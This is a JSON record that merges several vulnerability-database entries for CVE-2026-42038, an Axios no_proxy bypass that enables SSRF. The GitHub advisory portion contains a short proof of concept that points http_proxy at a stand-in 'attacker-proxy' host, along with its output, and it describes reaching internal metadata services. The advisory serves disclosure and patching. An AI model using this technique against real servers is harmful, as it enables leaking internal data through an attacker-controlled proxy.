{"id":"EUVD-2026-25604","revision":null,"records":[{"revision":"0acd836d0e7b4c4bbc0abf3ad95ea54d","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-42038","aliases":[],"title":"Axios: no_proxy bypass via IP alias allows SSRF","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, he fix for no_proxy hostname normalization bypass is incomplete. When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. This vulnerability is fixed in 1.15.1 and 0.31.1.","state":0,"publishedAt":"2026-04-24T17:57:26.975+00:00","modifiedAt":"2026-04-27T13:46:32.484+00:00","affected":[{"ecosystem":"Vendor product","name":"axios","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"axios\",\n                    \"product\": \"axios\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 1.0.0, < 1.15.1\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \"< 0.31.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N","score":6.8,"severity":"MEDIUM"}],"references":["https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-42038","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-42038","identifiers":["CVE-2026-42038"]},"retained":false,"historicalAffected":[]},{"revision":"dc7afd5615fb4313a873eecf4dbf272f","observedAt":"2026-11-15T14:50:18.264+00:00","statement":{"source":"euvd","id":"EUVD-2026-25604","aliases":["CVE-2026-42038"],"title":"Axios is a promise based HTTP client for the browser and Node.js. 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This vulnerability is fixed in 1.15.1 and 0.31.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N","score":6.8,"severity":null}],"references":["https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-25604","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 24, 2026, 5:57:26 PM","dateUpdated":"Apr 27, 2026, 1:46:32 PM"},"relatedAdvisories":[{"id":"WID-SEC-W-2026-1955","title":"Atlassian Bamboo, Bitbucket, Confluence, Fisheye, Crucible, Jira und Jira Service Management: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2019-11272","CVE-2021-3803","CVE-2022-1471","CVE-2022-22965","CVE-2022-22978","CVE-2022-31692","CVE-2024-22257","CVE-2025-22228","CVE-2026-22732","CVE-2026-24734","CVE-2026-26996","CVE-2026-27903","CVE-2026-27904","CVE-2026-29129","CVE-2026-33870","CVE-2026-33871","CVE-2026-34077","CVE-2026-34486","CVE-2026-34487","CVE-2026-40175","CVE-2026-41044","CVE-2026-41284","CVE-2026-41293","CVE-2026-42033","CVE-2026-42035","CVE-2026-42038","CVE-2026-42043","CVE-2026-42198","CVE-2026-42211","CVE-2026-42264","CVE-2026-42342","CVE-2026-42498","CVE-2026-42579","CVE-2026-42581","CVE-2026-42583","CVE-2026-42584","CVE-2026-42585","CVE-2026-42587","CVE-2026-43512","CVE-2026-43513","CVE-2026-43515","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44495","CVE-2026-44496","CVE-2026-45149","CVE-2026-45736"]},{"id":"WID-SEC-W-2026-1450","title":"IBM App Connect Enterprise (Axios): Mehrere Schwachstellen","vulnerabilityIds":["CVE-2026-42033","CVE-2026-42034","CVE-2026-42035","CVE-2026-42036","CVE-2026-42037","CVE-2026-42038","CVE-2026-42039","CVE-2026-42040","CVE-2026-42041","CVE-2026-42042","CVE-2026-42043","CVE-2026-42044"]},{"id":"WID-SEC-W-2026-1687","title":"IBM License Metric Tool: Mehrere Schwachstellen ermöglichen nicht spezifizierten Angriff","vulnerabilityIds":["CVE-2024-26141","CVE-2024-29371","CVE-2024-34459","CVE-2025-14917","CVE-2025-14923","CVE-2025-62718","CVE-2025-6490","CVE-2026-0636","CVE-2026-1561","CVE-2026-22007","CVE-2026-22008","CVE-2026-22013","CVE-2026-22016","CVE-2026-22018","CVE-2026-22021","CVE-2026-23865","CVE-2026-23907","CVE-2026-26961","CVE-2026-33168","CVE-2026-33169","CVE-2026-33170","CVE-2026-33173","CVE-2026-33174","CVE-2026-33176","CVE-2026-33195","CVE-2026-33202","CVE-2026-33929","CVE-2026-34230","CVE-2026-34268","CVE-2026-34282","CVE-2026-34763","CVE-2026-34785","CVE-2026-34786","CVE-2026-34826","CVE-2026-34829","CVE-2026-34830","CVE-2026-34831","CVE-2026-35611","CVE-2026-42033","CVE-2026-42034","CVE-2026-42035","CVE-2026-42036","CVE-2026-42037","CVE-2026-42038","CVE-2026-42039","CVE-2026-42040","CVE-2026-42041","CVE-2026-42042","CVE-2026-42043","CVE-2026-42044","CVE-2026-42264","CVE-2026-5588","CVE-2026-6918"]},{"id":"RHSA-2026:86618","title":"Red Hat Security Advisory: New container image: rhceph-9.2","vulnerabilityIds":["CVE-2023-46159","CVE-2024-47866","CVE-2024-48916","CVE-2024-55565","CVE-2025-12816","CVE-2025-15599","CVE-2025-26791","CVE-2025-30156","CVE-2025-50181","CVE-2025-50182","CVE-2025-58754","CVE-2025-59343","CVE-2025-62718","CVE-2025-66030","CVE-2025-66035","CVE-2025-66412","CVE-2025-69873","CVE-2026-0540","CVE-2026-21441","CVE-2026-22610","CVE-2026-25639","CVE-2026-26996","CVE-2026-27903","CVE-2026-27904","CVE-2026-27970","CVE-2026-32141","CVE-2026-33228","CVE-2026-33671","CVE-2026-33672","CVE-2026-33891","CVE-2026-33894","CVE-2026-33895","CVE-2026-33896","CVE-2026-39865","CVE-2026-40175","CVE-2026-40895","CVE-2026-41238","CVE-2026-41239","CVE-2026-41240","CVE-2026-41305","CVE-2026-42033","CVE-2026-42034","CVE-2026-42035","CVE-2026-42036","CVE-2026-42037","CVE-2026-42038","CVE-2026-42039","CVE-2026-42040","CVE-2026-42041","CVE-2026-42042","CVE-2026-42043","CVE-2026-42044","CVE-2026-50152","CVE-2026-58224"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-25604","identifiers":["EUVD-2026-25604","CVE-2026-42038"]},"retained":false,"historicalAffected":[]},{"revision":"5a87c51961ea45929c6164ef6690fd28","observedAt":"2026-11-12T16:19:25.974+00:00","statement":{"source":"nvd","id":"CVE-2026-42038","aliases":[],"title":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, he fix for no_proxy hostname normalization bypass is incomplete. When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route throu…","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, he fix for no_proxy hostname normalization bypass is incomplete. When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. This vulnerability is fixed in 1.15.1 and 0.31.1.","state":0,"publishedAt":"2026-04-24T18:16:30.68+00:00","modifiedAt":"2026-11-11T23:10:00.263+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N","score":6.8,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42038","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-918"],"productCriteria":["cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-04-24T18:16:30.680","lastModified":"2026-11-11T23:10:00.263"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-42038","identifiers":["CVE-2026-42038"]},"retained":false,"historicalAffected":[]},{"revision":"46893470af3f4ca88316b585ae4b164f","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-m7pr-hjqh-92cm","aliases":["CVE-2026-42038"],"title":"Axios: no_proxy bypass via IP alias allows SSRF","description":"The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.\n\nThe shouldBypassProxy() function does pure string matching — it does not \nresolve IP aliases or loopback equivalents. As a result:\n- no_proxy=localhost does NOT block 127.0.0.1 or [::1]\n- no_proxy=127.0.0.1 does NOT block localhost or [::1]\n\n\nPOC :\nprocess.env.no_proxy = 'localhost';\nprocess.env.http_proxy = 'http://attacker-proxy:8888';\n\n```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >....                     \n    process.env.http_proxy = 'http://127.0.0.1:8888';\n\n    console.log('=== Test 1: localhost (should bypass proxy) ===');\n    try {\n      await axios.get('http://localhost:7777/');\n    } catch(e) {\n      console.log('Error:', e.message);\n    }\n\n    console.log('');\n    console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');\n    try {\n      await axios.get('http://127.0.0.1:7777/');\n    } catch(e) {\n      console.log('Error:', e.message);\n    }\n\n    fakeProxy.close();\n    internalServer.close();\n  });\n});\nEOF\n=== Test 1: localhost (should bypass proxy) ===\n✅ Internal server hit directly (correct)\n\n=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===\n\uD83D\uDEA8 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/\n\uD83D\uDEA8 Host header: 127.0.0.1:7777. ```\n \n\n\n\n\n\n<img width=\"1212\" height=\"247\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7\" />\n\n\n\n\nImpact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.\n\nFix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.","state":0,"publishedAt":"2026-05-05T00:40:17+00:00","modifiedAt":"2026-09-10T03:51:06.2930332+00:00","affected":[{"ecosystem":"npm","name":"axios","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.0.0"},{"kind":"fixed","version":"1.15.1"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"axios","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.31.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm","https://nvd.nist.gov/vuln/detail/CVE-2026-42038","https://github.com/axios/axios"],"sourceUrl":"https://github.com/advisories/GHSA-m7pr-hjqh-92cm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-m7pr-hjqh-92cm","identifiers":["GHSA-m7pr-hjqh-92cm","CVE-2026-42038"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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